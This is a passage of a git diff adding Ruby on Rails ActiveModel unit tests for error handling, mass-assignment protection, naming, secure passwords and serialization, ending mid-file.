+  test "add an error message on a specific attribute with a defined type" do
+    person = Person.new
+    person.errors.add(:name, :blank, message: "cannot be blank")
+    assert_equal ["cannot be blank"], person.errors[:name]
+  end
+
+  test "add an error with a symbol" do
+    person = Person.new
+    person.errors.add(:name, :blank)
+    message = person.errors.generate_message(:name, :blank)
+    assert_equal [message], person.errors[:name]
+  end
+
+  test "add an error with a proc" do
+    person = Person.new
+    message = Proc.new { "cannot be blank" }
+    person.errors.add(:name, message)
+    assert_equal ["cannot be blank"], person.errors[:name]
+  end
+
+  test "added? detects indifferent if a specific error was added to the object" do
+    person = Person.new
+    person.errors.add(:name, "cannot be blank")
+    assert person.errors.added?(:name, "cannot be blank")
+    assert person.errors.added?("name", "cannot be blank")
+  end
+
+  test "added? handles symbol message" do
+    person = Person.new
+    person.errors.add(:name, :blank)
+    assert person.errors.added?(:name, :blank)
+  end
+
+  test "added? handles proc messages" do
+    person = Person.new
+    message = Proc.new { "cannot be blank" }
+    person.errors.add(:name, message)
+    assert person.errors.added?(:name, message)
+  end
+
+  test "added? defaults message to :invalid" do
+    person = Person.new
+    person.errors.add(:name)
+    assert person.errors.added?(:name)
+  end
+
+  test "added? matches the given message when several errors are present for the same attribute" do
+    person = Person.new
+    person.errors.add(:name, "cannot be blank")
+    person.errors.add(:name, "is invalid")
+    assert person.errors.added?(:name, "cannot be blank")
+  end
+
+  test "added? returns false when no errors are present" do
+    person = Person.new
+    assert !person.errors.added?(:name)
+  end
+
+  test "added? returns false when checking a nonexisting error and other errors are present for the given attribute" do
+    person = Person.new
+    person.errors.add(:name, "is invalid")
+    assert !person.errors.added?(:name, "cannot be blank")
+  end
+
+  test "added? returns false when checking for an error, but not providing message arguments" do
+    person = Person.new
+    person.errors.add(:name, "cannot be blank")
+    assert !person.errors.added?(:name)
+  end
+
+  test "size calculates the number of error messages" do
+    person = Person.new
+    person.errors.add(:name, "cannot be blank")
+    assert_equal 1, person.errors.size
+  end
+
+  test "count calculates the number of error messages" do
+    person = Person.new
+    person.errors.add(:name, "cannot be blank")
+    assert_equal 1, person.errors.count
+  end
+
+  test "to_a returns the list of errors with complete messages containing the attribute names" do
+    person = Person.new
+    person.errors.add(:name, "cannot be blank")
+    person.errors.add(:name, "cannot be nil")
+    assert_equal ["name cannot be blank", "name cannot be nil"], person.errors.to_a
+  end
+
+  test "to_hash returns the error messages hash" do
+    person = Person.new
+    person.errors.add(:name, "cannot be blank")
+    assert_equal({ name: ["cannot be blank"] }, person.errors.to_hash)
+  end
+
+  test "to_hash returns a hash without default proc" do
+    person = Person.new
+    assert_nil person.errors.to_hash.default_proc
+  end
+
+  test "as_json returns a hash without default proc" do
+    person = Person.new
+    assert_nil person.errors.as_json.default_proc
+  end
+
+  test "full_messages creates a list of error messages with the attribute name included" do
+    person = Person.new
+    person.errors.add(:name, "cannot be blank")
+    person.errors.add(:name, "cannot be nil")
+    assert_equal ["name cannot be blank", "name cannot be nil"], person.errors.full_messages
+  end
+
+  test "full_messages_for contains all the error messages for the given attribute indifferent" do
+    person = Person.new
+    person.errors.add(:name, "cannot be blank")
+    person.errors.add(:name, "cannot be nil")
+    assert_equal ["name cannot be blank", "name cannot be nil"], person.errors.full_messages_for(:name)
+  end
+
+  test "full_messages_for does not contain error messages from other attributes" do
+    person = Person.new
+    person.errors.add(:name, "cannot be blank")
+    person.errors.add(:email, "cannot be blank")
+    assert_equal ["name cannot be blank"], person.errors.full_messages_for(:name)
+    assert_equal ["name cannot be blank"], person.errors.full_messages_for("name")
+  end
+
+  test "full_messages_for returns an empty list in case there are no errors for the given attribute" do
+    person = Person.new
+    person.errors.add(:name, "cannot be blank")
+    assert_equal [], person.errors.full_messages_for(:email)
+  end
+
+  test "full_message returns the given message when attribute is :base" do
+    person = Person.new
+    assert_equal "press the button", person.errors.full_message(:base, "press the button")
+  end
+
+  test "full_message returns the given message with the attribute name included" do
+    person = Person.new
+    assert_equal "name cannot be blank", person.errors.full_message(:name, "cannot be blank")
+    assert_equal "name_test cannot be blank", person.errors.full_message(:name_test, "cannot be blank")
+  end
+
+  test "as_json creates a json formatted representation of the errors hash" do
+    person = Person.new
+    person.validate!
+
+    assert_equal({ name: ["cannot be nil"] }, person.errors.as_json)
+  end
+
+  test "as_json with :full_messages option creates a json formatted representation of the errors containing complete messages" do
+    person = Person.new
+    person.validate!
+
+    assert_equal({ name: ["name cannot be nil"] }, person.errors.as_json(full_messages: true))
+  end
+
+  test "generate_message works without i18n_scope" do
+    person = Person.new
+    assert !Person.respond_to?(:i18n_scope)
+    assert_nothing_raised {
+      person.errors.generate_message(:name, :blank)
+    }
+  end
+
+  test "details returns added error detail" do
+    person = Person.new
+    person.errors.add(:name, :invalid)
+    assert_equal({ name: [{ error: :invalid }] }, person.errors.details)
+  end
+
+  test "details returns added error detail with custom option" do
+    person = Person.new
+    person.errors.add(:name, :greater_than, count: 5)
+    assert_equal({ name: [{ error: :greater_than, count: 5 }] }, person.errors.details)
+  end
+
+  test "details do not include message option" do
+    person = Person.new
+    person.errors.add(:name, :invalid, message: "is bad")
+    assert_equal({ name: [{ error: :invalid }] }, person.errors.details)
+  end
+
+  test "dup duplicates details" do
+    errors = ActiveModel::Errors.new(Person.new)
+    errors.add(:name, :invalid)
+    errors_dup = errors.dup
+    errors_dup.add(:name, :taken)
+    assert_not_equal errors_dup.details, errors.details
+  end
+
+  test "delete removes details on given attribute" do
+    errors = ActiveModel::Errors.new(Person.new)
+    errors.add(:name, :invalid)
+    errors.delete(:name)
+    assert_empty errors.details[:name]
+  end
+
+  test "delete returns the deleted messages" do
+    errors = ActiveModel::Errors.new(Person.new)
+    errors.add(:name, :invalid)
+    assert_equal ["is invalid"], errors.delete(:name)
+  end
+
+  test "clear removes details" do
+    person = Person.new
+    person.errors.add(:name, :invalid)
+
+    assert_equal 1, person.errors.details.count
+    person.errors.clear
+    assert person.errors.details.empty?
+  end
+
+  test "copy errors" do
+    errors = ActiveModel::Errors.new(Person.new)
+    errors.add(:name, :invalid)
+    person = Person.new
+    person.errors.copy!(errors)
+
+    assert_equal [:name], person.errors.messages.keys
+    assert_equal [:name], person.errors.details.keys
+  end
+
+  test "merge errors" do
+    errors = ActiveModel::Errors.new(Person.new)
+    errors.add(:name, :invalid)
+
+    person = Person.new
+    person.errors.add(:name, :blank)
+    person.errors.merge!(errors)
+
+    assert_equal({ name: ["can't be blank", "is invalid"] }, person.errors.messages)
+    assert_equal({ name: [{ error: :blank }, { error: :invalid }] }, person.errors.details)
+  end
+
+  test "errors are marshalable" do
+    errors = ActiveModel::Errors.new(Person.new)
+    errors.add(:name, :invalid)
+    serialized = Marshal.load(Marshal.dump(errors))
+
+    assert_equal errors.messages, serialized.messages
+    assert_equal errors.details, serialized.details
+  end
+
+  test "errors are backward compatible with the Rails 4.2 format" do
+    yaml = <<-CODE.strip_heredoc
+    --- !ruby/object:ActiveModel::Errors
+    base: &1 !ruby/object:ErrorsTest::Person
+      errors: !ruby/object:ActiveModel::Errors
+        base: *1
+        messages: {}
+    messages: {}
+    CODE
+
+    errors = YAML.load(yaml)
+    errors.add(:name, :invalid)
+    assert_equal({ name: ["is invalid"] }, errors.messages)
+    assert_equal({ name: [{ error: :invalid }] }, errors.details)
+
+    errors.clear
+    assert_equal({}, errors.messages)
+    assert_equal({}, errors.details)
+  end
+end
diff --git a/activemodel/test/cases/forbidden_attributes_protection_test.rb b/activemodel/test/cases/forbidden_attributes_protection_test.rb
new file mode 100644
index 0000000000..0fd0a2f8ee
--- /dev/null
+++ b/activemodel/test/cases/forbidden_attributes_protection_test.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_support/core_ext/hash/indifferent_access"
+require "models/account"
+
+class ProtectedParams
+  attr_accessor :permitted
+  alias :permitted? :permitted
+
+  delegate :keys, :key?, :has_key?, :empty?, to: :@parameters
+
+  def initialize(attributes)
+    @parameters = attributes
+    @permitted = false
+  end
+
+  def permit!
+    @permitted = true
+    self
+  end
+
+  def to_h
+    @parameters
+  end
+end
+
+class ActiveModelMassUpdateProtectionTest < ActiveSupport::TestCase
+  test "forbidden attributes cannot be used for mass updating" do
+    params = ProtectedParams.new("a" => "b")
+    assert_raises(ActiveModel::ForbiddenAttributesError) do
+      Account.new.sanitize_for_mass_assignment(params)
+    end
+  end
+
+  test "permitted attributes can be used for mass updating" do
+    params = ProtectedParams.new("a" => "b").permit!
+    assert_equal({ "a" => "b" }, Account.new.sanitize_for_mass_assignment(params))
+  end
+
+  test "regular attributes should still be allowed" do
+    assert_equal({ a: "b" }, Account.new.sanitize_for_mass_assignment(a: "b"))
+  end
+end
diff --git a/activemodel/test/cases/helper.rb b/activemodel/test/cases/helper.rb
new file mode 100644
index 0000000000..91fb9d0a7c
--- /dev/null
+++ b/activemodel/test/cases/helper.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+require "active_model"
+
+# Show backtraces for deprecated behavior for quicker cleanup.
+ActiveSupport::Deprecation.debug = true
+
+# Disable available locale checks to avoid warnings running the test suite.
+I18n.enforce_available_locales = false
+
+require "active_support/testing/autorun"
+require "active_support/testing/method_call_assertions"
+
+class ActiveModel::TestCase < ActiveSupport::TestCase
+  include ActiveSupport::Testing::MethodCallAssertions
+
+  # Skips the current run on Rubinius using Minitest::Assertions#skip
+  private def rubinius_skip(message = "")
+    skip message if RUBY_ENGINE == "rbx"
+  end
+  # Skips the current run on JRuby using Minitest::Assertions#skip
+  private def jruby_skip(message = "")
+    skip message if defined?(JRUBY_VERSION)
+  end
+end
diff --git a/activemodel/test/cases/lint_test.rb b/activemodel/test/cases/lint_test.rb
new file mode 100644
index 0000000000..d62c80b71a
--- /dev/null
+++ b/activemodel/test/cases/lint_test.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class LintTest < ActiveModel::TestCase
+  include ActiveModel::Lint::Tests
+
+  class CompliantModel
+    extend ActiveModel::Naming
+    include ActiveModel::Conversion
+
+    def persisted?() false end
+
+    def errors
+      Hash.new([])
+    end
+  end
+
+  def setup
+    @model = CompliantModel.new
+  end
+end
diff --git a/activemodel/test/cases/model_test.rb b/activemodel/test/cases/model_test.rb
new file mode 100644
index 0000000000..b24d7e3571
--- /dev/null
+++ b/activemodel/test/cases/model_test.rb
@@ -0,0 +1,79 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class ModelTest < ActiveModel::TestCase
+  include ActiveModel::Lint::Tests
+
+  module DefaultValue
+    def self.included(klass)
+      klass.class_eval { attr_accessor :hello }
+    end
+
+    def initialize(*args)
+      @attr ||= "default value"
+      super
+    end
+  end
+
+  class BasicModel
+    include DefaultValue
+    include ActiveModel::Model
+    attr_accessor :attr
+  end
+
+  class BasicModelWithReversedMixins
+    include ActiveModel::Model
+    include DefaultValue
+    attr_accessor :attr
+  end
+
+  class SimpleModel
+    include ActiveModel::Model
+    attr_accessor :attr
+  end
+
+  def setup
+    @model = BasicModel.new
+  end
+
+  def test_initialize_with_params
+    object = BasicModel.new(attr: "value")
+    assert_equal "value", object.attr
+  end
+
+  def test_initialize_with_params_and_mixins_reversed
+    object = BasicModelWithReversedMixins.new(attr: "value")
+    assert_equal "value", object.attr
+  end
+
+  def test_initialize_with_nil_or_empty_hash_params_does_not_explode
+    assert_nothing_raised do
+      BasicModel.new()
+      BasicModel.new(nil)
+      BasicModel.new({})
+      SimpleModel.new(attr: "value")
+    end
+  end
+
+  def test_persisted_is_always_false
+    object = BasicModel.new(attr: "value")
+    assert object.persisted? == false
+  end
+
+  def test_mixin_inclusion_chain
+    object = BasicModel.new
+    assert_equal "default value", object.attr
+  end
+
+  def test_mixin_initializer_when_args_exist
+    object = BasicModel.new(hello: "world")
+    assert_equal "world", object.hello
+  end
+
+  def test_mixin_initializer_when_args_dont_exist
+    assert_raises(ActiveModel::UnknownAttributeError) do
+      SimpleModel.new(hello: "world")
+    end
+  end
+end
diff --git a/activemodel/test/cases/naming_test.rb b/activemodel/test/cases/naming_test.rb
new file mode 100644
index 0000000000..009f1f47af
--- /dev/null
+++ b/activemodel/test/cases/naming_test.rb
@@ -0,0 +1,282 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/contact"
+require "models/sheep"
+require "models/track_back"
+require "models/blog_post"
+
+class NamingTest < ActiveModel::TestCase
+  def setup
+    @model_name = ActiveModel::Name.new(Post::TrackBack)
+  end
+
+  def test_singular
+    assert_equal "post_track_back", @model_name.singular
+  end
+
+  def test_plural
+    assert_equal "post_track_backs", @model_name.plural
+  end
+
+  def test_element
+    assert_equal "track_back", @model_name.element
+  end
+
+  def test_collection
+    assert_equal "post/track_backs", @model_name.collection
+  end
+
+  def test_human
+    assert_equal "Track back", @model_name.human
+  end
+
+  def test_route_key
+    assert_equal "post_track_backs", @model_name.route_key
+  end
+
+  def test_param_key
+    assert_equal "post_track_back", @model_name.param_key
+  end
+
+  def test_i18n_key
+    assert_equal :"post/track_back", @model_name.i18n_key
+  end
+end
+
+class NamingWithNamespacedModelInIsolatedNamespaceTest < ActiveModel::TestCase
+  def setup
+    @model_name = ActiveModel::Name.new(Blog::Post, Blog)
+  end
+
+  def test_singular
+    assert_equal "blog_post", @model_name.singular
+  end
+
+  def test_plural
+    assert_equal "blog_posts", @model_name.plural
+  end
+
+  def test_element
+    assert_equal "post", @model_name.element
+  end
+
+  def test_collection
+    assert_equal "blog/posts", @model_name.collection
+  end
+
+  def test_human
+    assert_equal "Post", @model_name.human
+  end
+
+  def test_route_key
+    assert_equal "posts", @model_name.route_key
+  end
+
+  def test_param_key
+    assert_equal "post", @model_name.param_key
+  end
+
+  def test_i18n_key
+    assert_equal :"blog/post", @model_name.i18n_key
+  end
+end
+
+class NamingWithNamespacedModelInSharedNamespaceTest < ActiveModel::TestCase
+  def setup
+    @model_name = ActiveModel::Name.new(Blog::Post)
+  end
+
+  def test_singular
+    assert_equal "blog_post", @model_name.singular
+  end
+
+  def test_plural
+    assert_equal "blog_posts", @model_name.plural
+  end
+
+  def test_element
+    assert_equal "post", @model_name.element
+  end
+
+  def test_collection
+    assert_equal "blog/posts", @model_name.collection
+  end
+
+  def test_human
+    assert_equal "Post", @model_name.human
+  end
+
+  def test_route_key
+    assert_equal "blog_posts", @model_name.route_key
+  end
+
+  def test_param_key
+    assert_equal "blog_post", @model_name.param_key
+  end
+
+  def test_i18n_key
+    assert_equal :"blog/post", @model_name.i18n_key
+  end
+end
+
+class NamingWithSuppliedModelNameTest < ActiveModel::TestCase
+  def setup
+    @model_name = ActiveModel::Name.new(Blog::Post, nil, "Article")
+  end
+
+  def test_singular
+    assert_equal "article", @model_name.singular
+  end
+
+  def test_plural
+    assert_equal "articles", @model_name.plural
+  end
+
+  def test_element
+    assert_equal "article", @model_name.element
+  end
+
+  def test_collection
+    assert_equal "articles", @model_name.collection
+  end
+
+  def test_human
+    assert_equal "Article", @model_name.human
+  end
+
+  def test_route_key
+    assert_equal "articles", @model_name.route_key
+  end
+
+  def test_param_key
+    assert_equal "article", @model_name.param_key
+  end
+
+  def test_i18n_key
+    assert_equal :"article", @model_name.i18n_key
+  end
+end
+
+class NamingUsingRelativeModelNameTest < ActiveModel::TestCase
+  def setup
+    @model_name = Blog::Post.model_name
+  end
+
+  def test_singular
+    assert_equal "blog_post", @model_name.singular
+  end
+
+  def test_plural
+    assert_equal "blog_posts", @model_name.plural
+  end
+
+  def test_element
+    assert_equal "post", @model_name.element
+  end
+
+  def test_collection
+    assert_equal "blog/posts", @model_name.collection
+  end
+
+  def test_human
+    assert_equal "Post", @model_name.human
+  end
+
+  def test_route_key
+    assert_equal "posts", @model_name.route_key
+  end
+
+  def test_param_key
+    assert_equal "post", @model_name.param_key
+  end
+
+  def test_i18n_key
+    assert_equal :"blog/post", @model_name.i18n_key
+  end
+end
+
+class NamingHelpersTest < ActiveModel::TestCase
+  def setup
+    @klass  = Contact
+    @record = @klass.new
+    @singular = "contact"
+    @plural = "contacts"
+    @uncountable = Sheep
+    @singular_route_key = "contact"
+    @route_key = "contacts"
+    @param_key = "contact"
+  end
+
+  def test_to_model_called_on_record
+    assert_equal "post_named_track_backs", plural(Post::TrackBack.new)
+  end
+
+  def test_singular
+    assert_equal @singular, singular(@record)
+  end
+
+  def test_singular_for_class
+    assert_equal @singular, singular(@klass)
+  end
+
+  def test_plural
+    assert_equal @plural, plural(@record)
+  end
+
+  def test_plural_for_class
+    assert_equal @plural, plural(@klass)
+  end
+
+  def test_route_key
+    assert_equal @route_key, route_key(@record)
+    assert_equal @singular_route_key, singular_route_key(@record)
+  end
+
+  def test_route_key_for_class
+    assert_equal @route_key, route_key(@klass)
+    assert_equal @singular_route_key, singular_route_key(@klass)
+  end
+
+  def test_param_key
+    assert_equal @param_key, param_key(@record)
+  end
+
+  def test_param_key_for_class
+    assert_equal @param_key, param_key(@klass)
+  end
+
+  def test_uncountable
+    assert uncountable?(@uncountable), "Expected 'sheep' to be uncountable"
+    assert !uncountable?(@klass), "Expected 'contact' to be countable"
+  end
+
+  def test_uncountable_route_key
+    assert_equal "sheep", singular_route_key(@uncountable)
+    assert_equal "sheep_index", route_key(@uncountable)
+  end
+
+  private
+    def method_missing(method, *args)
+      ActiveModel::Naming.send(method, *args)
+    end
+end
+
+class NameWithAnonymousClassTest < ActiveModel::TestCase
+  def test_anonymous_class_without_name_argument
+    assert_raises(ArgumentError) do
+      ActiveModel::Name.new(Class.new)
+    end
+  end
+
+  def test_anonymous_class_with_name_argument
+    model_name = ActiveModel::Name.new(Class.new, nil, "Anonymous")
+    assert_equal "Anonymous", model_name
+  end
+end
+
+class NamingMethodDelegationTest < ActiveModel::TestCase
+  def test_model_name
+    assert_equal Blog::Post.model_name, Blog::Post.new.model_name
+  end
+end
diff --git a/activemodel/test/cases/railtie_test.rb b/activemodel/test/cases/railtie_test.rb
new file mode 100644
index 0000000000..ff5022e960
--- /dev/null
+++ b/activemodel/test/cases/railtie_test.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_support/testing/isolation"
+
+class RailtieTest < ActiveModel::TestCase
+  include ActiveSupport::Testing::Isolation
+
+  def setup
+    require "active_model/railtie"
+
+    # Set a fake logger to avoid creating the log directory automatically
+    fake_logger = Logger.new(nil)
+
+    @app ||= Class.new(::Rails::Application) do
+      config.eager_load = false
+      config.logger = fake_logger
+    end
+  end
+
+  test "secure password min_cost is false in the development environment" do
+    Rails.env = "development"
+    @app.initialize!
+
+    assert_equal false, ActiveModel::SecurePassword.min_cost
+  end
+
+  test "secure password min_cost is true in the test environment" do
+    Rails.env = "test"
+    @app.initialize!
+
+    assert_equal true, ActiveModel::SecurePassword.min_cost
+  end
+end
diff --git a/activemodel/test/cases/secure_password_test.rb b/activemodel/test/cases/secure_password_test.rb
new file mode 100644
index 0000000000..d19e81a119
--- /dev/null
+++ b/activemodel/test/cases/secure_password_test.rb
@@ -0,0 +1,220 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/user"
+require "models/visitor"
+
+class SecurePasswordTest < ActiveModel::TestCase
+  setup do
+    # Used only to speed up tests
+    @original_min_cost = ActiveModel::SecurePassword.min_cost
+    ActiveModel::SecurePassword.min_cost = true
+
+    @user = User.new
+    @visitor = Visitor.new
+
+    # Simulate loading an existing user from the DB
+    @existing_user = User.new
+    @existing_user.password_digest = BCrypt::Password.create("password", cost: BCrypt::Engine::MIN_COST)
+  end
+
+  teardown do
+    ActiveModel::SecurePassword.min_cost = @original_min_cost
+  end
+
+  test "automatically include ActiveModel::Validations when validations are enabled" do
+    assert_respond_to @user, :valid?
+  end
+
+  test "don't include ActiveModel::Validations when validations are disabled" do
+    assert_not_respond_to @visitor, :valid?
+  end
+
+  test "create a new user with validations and valid password/confirmation" do
+    @user.password = "password"
+    @user.password_confirmation = "password"
+
+    assert @user.valid?(:create), "user should be valid"
+
+    @user.password = "a" * 72
+    @user.password_confirmation = "a" * 72
+
+    assert @user.valid?(:create), "user should be valid"
+  end
+
+  test "create a new user with validation and a spaces only password" do
+    @user.password = " " * 72
+    assert @user.valid?(:create), "user should be valid"
+  end
+
+  test "create a new user with validation and a blank password" do
+    @user.password = ""
+    assert !@user.valid?(:create), "user should be invalid"
+    assert_equal 1, @user.errors.count
+    assert_equal ["can't be blank"], @user.errors[:password]
+  end
+
+  test "create a new user with validation and a nil password" do
+    @user.password = nil
+    assert !@user.valid?(:create), "user should be invalid"
+    assert_equal 1, @user.errors.count
+    assert_equal ["can't be blank"], @user.errors[:password]
+  end
+
+  test "create a new user with validation and password length greater than 72" do
+    @user.password = "a" * 73
+    @user.password_confirmation = "a" * 73
+    assert !@user.valid?(:create), "user should be invalid"
+    assert_equal 1, @user.errors.count
+    assert_equal ["is too long (maximum is 72 characters)"], @user.errors[:password]
+  end
+
+  test "create a new user with validation and a blank password confirmation" do
+    @user.password = "password"
+    @user.password_confirmation = ""
+    assert !@user.valid?(:create), "user should be invalid"
+    assert_equal 1, @user.errors.count
+    assert_equal ["doesn't match Password"], @user.errors[:password_confirmation]
+  end
+
+  test "create a new user with validation and a nil password confirmation" do
+    @user.password = "password"
+    @user.password_confirmation = nil
+    assert @user.valid?(:create), "user should be valid"
+  end
+
+  test "create a new user with validation and an incorrect password confirmation" do
+    @user.password = "password"
+    @user.password_confirmation = "something else"
+    assert !@user.valid?(:create), "user should be invalid"
+    assert_equal 1, @user.errors.count
+    assert_equal ["doesn't match Password"], @user.errors[:password_confirmation]
+  end
+
+  test "update an existing user with validation and no change in password" do
+    assert @existing_user.valid?(:update), "user should be valid"
+  end
+
+  test "update an existing user with validations and valid password/confirmation" do
+    @existing_user.password = "password"
+    @existing_user.password_confirmation = "password"
+
+    assert @existing_user.valid?(:update), "user should be valid"
+
+    @existing_user.password = "a" * 72
+    @existing_user.password_confirmation = "a" * 72
+
+    assert @existing_user.valid?(:update), "user should be valid"
+  end
+
+  test "updating an existing user with validation and a blank password" do
+    @existing_user.password = ""
+    assert @existing_user.valid?(:update), "user should be valid"
+  end
+
+  test "updating an existing user with validation and a spaces only password" do
+    @user.password = " " * 72
+    assert @user.valid?(:update), "user should be valid"
+  end
+
+  test "updating an existing user with validation and a blank password and password_confirmation" do
+    @existing_user.password = ""
+    @existing_user.password_confirmation = ""
+    assert @existing_user.valid?(:update), "user should be valid"
+  end
+
+  test "updating an existing user with validation and a nil password" do
+    @existing_user.password = nil
+    assert !@existing_user.valid?(:update), "user should be invalid"
+    assert_equal 1, @existing_user.errors.count
+    assert_equal ["can't be blank"], @existing_user.errors[:password]
+  end
+
+  test "updating an existing user with validation and password length greater than 72" do
+    @existing_user.password = "a" * 73
+    @existing_user.password_confirmation = "a" * 73
+    assert !@existing_user.valid?(:update), "user should be invalid"
+    assert_equal 1, @existing_user.errors.count
+    assert_equal ["is too long (maximum is 72 characters)"], @existing_user.errors[:password]
+  end
+
+  test "updating an existing user with validation and a blank password confirmation" do
+    @existing_user.password = "password"
+    @existing_user.password_confirmation = ""
+    assert !@existing_user.valid?(:update), "user should be invalid"
+    assert_equal 1, @existing_user.errors.count
+    assert_equal ["doesn't match Password"], @existing_user.errors[:password_confirmation]
+  end
+
+  test "updating an existing user with validation and a nil password confirmation" do
+    @existing_user.password = "password"
+    @existing_user.password_confirmation = nil
+    assert @existing_user.valid?(:update), "user should be valid"
+  end
+
+  test "updating an existing user with validation and an incorrect password confirmation" do
+    @existing_user.password = "password"
+    @existing_user.password_confirmation = "something else"
+    assert !@existing_user.valid?(:update), "user should be invalid"
+    assert_equal 1, @existing_user.errors.count
+    assert_equal ["doesn't match Password"], @existing_user.errors[:password_confirmation]
+  end
+
+  test "updating an existing user with validation and a blank password digest" do
+    @existing_user.password_digest = ""
+    assert !@existing_user.valid?(:update), "user should be invalid"
+    assert_equal 1, @existing_user.errors.count
+    assert_equal ["can't be blank"], @existing_user.errors[:password]
+  end
+
+  test "updating an existing user with validation and a nil password digest" do
+    @existing_user.password_digest = nil
+    assert !@existing_user.valid?(:update), "user should be invalid"
+    assert_equal 1, @existing_user.errors.count
+    assert_equal ["can't be blank"], @existing_user.errors[:password]
+  end
+
+  test "setting a blank password should not change an existing password" do
+    @existing_user.password = ""
+    assert @existing_user.password_digest == "password"
+  end
+
+  test "setting a nil password should clear an existing password" do
+    @existing_user.password = nil
+    assert_nil @existing_user.password_digest
+  end
+
+  test "authenticate" do
+    @user.password = "secret"
+
+    assert !@user.authenticate("wrong")
+    assert @user.authenticate("secret")
+  end
+
+  test "Password digest cost defaults to bcrypt default cost when min_cost is false" do
+    ActiveModel::SecurePassword.min_cost = false
+
+    @user.password = "secret"
+    assert_equal BCrypt::Engine::DEFAULT_COST, @user.password_digest.cost
+  end
+
+  test "Password digest cost honors bcrypt cost attribute when min_cost is false" do
+    begin
+      original_bcrypt_cost = BCrypt::Engine.cost
+      ActiveModel::SecurePassword.min_cost = false
+      BCrypt::Engine.cost = 5
+
+      @user.password = "secret"
+      assert_equal BCrypt::Engine.cost, @user.password_digest.cost
+    ensure
+      BCrypt::Engine.cost = original_bcrypt_cost
+    end
+  end
+
+  test "Password digest cost can be set to bcrypt min cost to speed up tests" do
+    ActiveModel::SecurePassword.min_cost = true
+
+    @user.password = "secret"
+    assert_equal BCrypt::Engine::MIN_COST, @user.password_digest.cost
+  end
+end
diff --git a/activemodel/test/cases/serialization_test.rb b/activemodel/test/cases/serialization_test.rb
new file mode 100644
index 0000000000..9002982e7f
--- /dev/null
+++ b/activemodel/test/cases/serialization_test.rb
@@ -0,0 +1,177 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_support/core_ext/object/instance_variables"
+
+class SerializationTest < ActiveModel::TestCase
+  class User
+    include ActiveModel::Serialization
+
+    attr_accessor :name, :email, :gender, :address, :friends
+
+    def initialize(name, email, gender)
+      @name, @email, @gender = name, email, gender
+      @friends = []
+    end
+
+    def attributes
+      instance_values.except("address", "friends")
+    end
+
+    def method_missing(method_name, *args)
+      if method_name == :bar
+        "i_am_bar"
+      else
+        super
+      end
+    end
+
+    def foo
+      "i_am_foo"
+    end
+  end
+
+  class Address
+    include ActiveModel::Serialization
+
+    attr_accessor :street, :city, :state, :zip
+
+    def attributes
+      instance_values
+    end
+  end
+
+  setup do
+    @user = User.new("David", "david@example.com", "male")
+    @user.address = Address.new
+    @user.address.street = "123 Lane"
+    @user.address.city = "Springfield"
+    @user.address.state = "CA"
+    @user.address.zip = 11111
+    @user.friends = [User.new("Joe", "joe@example.com", "male"),
+                     User.new("Sue", "sue@example.com", "female")]
+  end
+
+  def test_method_serializable_hash_should_work
+    expected = { "name" => "David", "gender" => "male", "email" => "david@example.com" }
+    assert_equal expected, @user.serializable_hash
+  end
+
+  def test_method_serializable_hash_should_work_with_only_option
+    expected = { "name" => "David" }
+    assert_equal expected, @user.serializable_hash(only: [:name])
+  end
+
+  def test_method_serializable_hash_should_work_with_except_option
+    expected = { "gender" => "male", "email" => "david@example.com" }
+    assert_equal expected, @user.serializable_hash(except: [:name])
+  end
+
+  def test_method_serializable_hash_should_work_with_methods_option
+    expected = { "name" => "David", "gender" => "male", "foo" => "i_am_foo", "bar" => "i_am_bar", "email" => "david@example.com" }
+    assert_equal expected, @user.serializable_hash(methods: [:foo, :bar])
+  end
+
+  def test_method_serializable_hash_should_work_with_only_and_methods
+    expected = { "foo" => "i_am_foo", "bar" => "i_am_bar" }
+    assert_equal expected, @user.serializable_hash(only: [], methods: [:foo, :bar])
+  end
+
+  def test_method_serializable_hash_should_work_with_except_and_methods
+    expected = { "gender" => "male", "foo" => "i_am_foo", "bar" => "i_am_bar" }
+    assert_equal expected, @user.serializable_hash(except: [:name, :email], methods: [:foo, :bar])
+  end
+
+  def test_should_raise_NoMethodError_for_non_existing_method
+    assert_raise(NoMethodError) { @user.serializable_hash(methods: [:nada]) }
+  end
+
+  def test_should_use_read_attribute_for_serialization
+    def @user.read_attribute_for_serialization(n)
+      "Jon"
+    end
+
+    expected = { "name" => "Jon" }
+    assert_equal expected, @user.serializable_hash(only: :name)
+  end
+
+  def test_include_option_with_singular_association
+    expected = { "name" => "David", "gender" => "male", "email" => "david@example.com",
+                "address" => { "street" => "123 Lane", "city" => "Springfield", "state" => "CA", "zip" => 11111 } }
+    assert_equal expected, @user.serializable_hash(include: :address)
+  end
+
+  def test_include_option_with_plural_association
+    expected = { "email" => "david@example.com", "gender" => "male", "name" => "David",
+                "friends" => [{ "name" => "Joe", "email" => "joe@example.com", "gender" => "male" },
+                           { "name" => "Sue", "email" => "sue@example.com", "gender" => "female" }] }
+    assert_equal expected, @user.serializable_hash(include: :friends)
+  end
+
+  def test_include_option_with_empty_association
+    @user.friends = []
+    expected = { "email" => "david@example.com", "gender" => "male", "name" => "David", "friends" => [] }
+    assert_equal expected, @user.serializable_hash(include: :friends)
+  end
+
+  class FriendList
+    def initialize(friends)
+      @friends = friends
+    end
+
+    def to_ary
+      @friends
+    end
+  end
+
+  def test_include_option_with_ary
+    @user.friends = FriendList.new(@user.friends)
+    expected = { "email" => "david@example.com", "gender" => "male", "name" => "David",
+                "friends" => [{ "name" => "Joe", "email" => "joe@example.com", "gender" => "male" },
+                           { "name" => "Sue", "email" => "sue@example.com", "gender" => "female" }] }
+    assert_equal expected, @user.serializable_hash(include: :friends)
+  end
+
+  def test_multiple_includes
+    expected = { "email" => "david@example.com", "gender" => "male", "name" => "David",
+                "address" => { "street" => "123 Lane", "city" => "Springfield", "state" => "CA", "zip" => 11111 },
+                "friends" => [{ "name" => "Joe", "email" => "joe@example.com", "gender" => "male" },
+                           { "name" => "Sue", "email" => "sue@example.com", "gender" => "female" }] }
+    assert_equal expected, @user.serializable_hash(include: [:address, :friends])
+  end
+
+  def test_include_with_options
